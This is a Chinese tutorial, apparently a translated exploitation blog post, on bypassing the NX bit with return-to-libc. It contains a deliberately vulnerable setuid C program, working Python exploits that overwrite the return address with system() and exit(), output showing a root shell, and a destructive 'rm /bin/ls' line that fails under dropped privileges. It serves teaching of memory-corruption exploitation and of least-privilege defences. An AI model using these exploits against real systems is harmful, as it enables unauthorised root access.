在以前的帖子中,我们看到了攻击者
为了成功利用易受攻击的代码。因此,为了阻止攻击者的行动,安全研究人员想出了一个名为“NX Bit”的漏洞利用缓解措施!
什么是NX Bit?
它是一种漏洞利用缓解技术,它使某些内存区域不可执行,并形成一个不可写的可执行区域。示例:数据,堆栈和堆段不可执行,而文本段不可写。
启用NX位后,我们基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典方法中,shellcode被复制到堆栈中,并且返回地址指向shellcode。但是现在由于堆栈不再可执行,我们的漏洞利用失败了!! 但这种缓解技术并非完全万无一失,因此在这篇文章中我们可以看看如何绕过NX Bit !!
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256]; /* [1] */
strcpy(buf,argv[1]); /* [2] */
printf("%s\n",buf); /* [3] */
fflush(stdout); /* [4] */
return 0;
}
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
注意:“-z execstack”参数未传递给gcc,因此现在堆栈是非可执行文件,可以如下所示进行验证:
$ readelf -l vuln
...
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000
LOAD 0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000
DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
...
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
$
堆栈段仅包含RW标志,没有E标志!!
如何绕过NX位并实现任意代码执行?
可以使用称为“return-to-libc”的攻击技术绕过NX位。这里返回地址被特定的libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,他会用system()地址覆盖返回地址,并在堆栈中设置system()所需的适当参数,以便成功调用它。
已经反编译并绘制了易受攻击代码的堆栈布局,让我们编写漏洞利用代码来绕过NX位!!
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it.
#For example system address = libc base address + system offset
#where
#libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
#system offset = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")
system = 0xb7e61060 #0xb7e2000+0x0003f060
exit = 0xb7e54be0 #0xb7e2000+0x00032be0
#system_arg points to 'sh' substring of 'fflush' string.
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c.
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0x804827d #(obtained from hexdump output of the binary)
#endianess conversion
def conv(num):
return struct.pack("<I",num)
# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])
执行上面的exploit程序给我们root shell,如下所示:
$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K��}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
Bingo,我们得到了root shell!! 但是在实际应用程序中,由于root setuid程序会采用最小特权原则,因此不容易。
什么是最小特权原则?
此技术允许root setuid程序仅在需要时获取root权限。这是在需要时获得root权限,当不需要时,他们删除获得的root权限。root setuid程序遵循的正常方法是在从用户输入之前删除root权限。因此,即使用户输入是恶意的,攻击者也不会获得root shell。例如,下面的易受攻击的代码不允许攻击者获得root shell。
//vuln_priv.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
seteuid(getuid()); /* Temporarily drop privileges */
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
};
当我们尝试使用下面的漏洞利用代码来利用它时,以上易受攻击的代码不会给出root shell。
#exp_priv.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0xb7e61060
exit = 0xb7e54be0
system_arg = 0x804829d
#endianess conversion
def conv(num):
return struct.pack("<I",num)
# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln_priv", buf])
注意:exp_priv.py是exp.py的略微修改版本!! 只调整system_arg变量!!
$ python exp_priv.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K川�
$ id
uid=1000(sploitfun) gid=1000(sploitfun) egid=0(root) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ rm /bin/ls
rm: remove write-protected regular file `/bin/ls'? y
rm: cannot remove `/bin/ls': Permission denied
$ exit
$
这是隧道的终点吗?如何利用应用最小权限原则的root setuid程序?
对于易受攻击的代码(vuln_priv),我们的exploit(exp_priv.py)是调用系统,然后是exit,这对于获取root shell是不够的。但是,如果我们的漏洞利用代码(exp_priv.py)被修改为调用以下libc函数(按列出的顺序)
我们会得到root shell。这种技术被称为返回libc的链接,在此讨论!!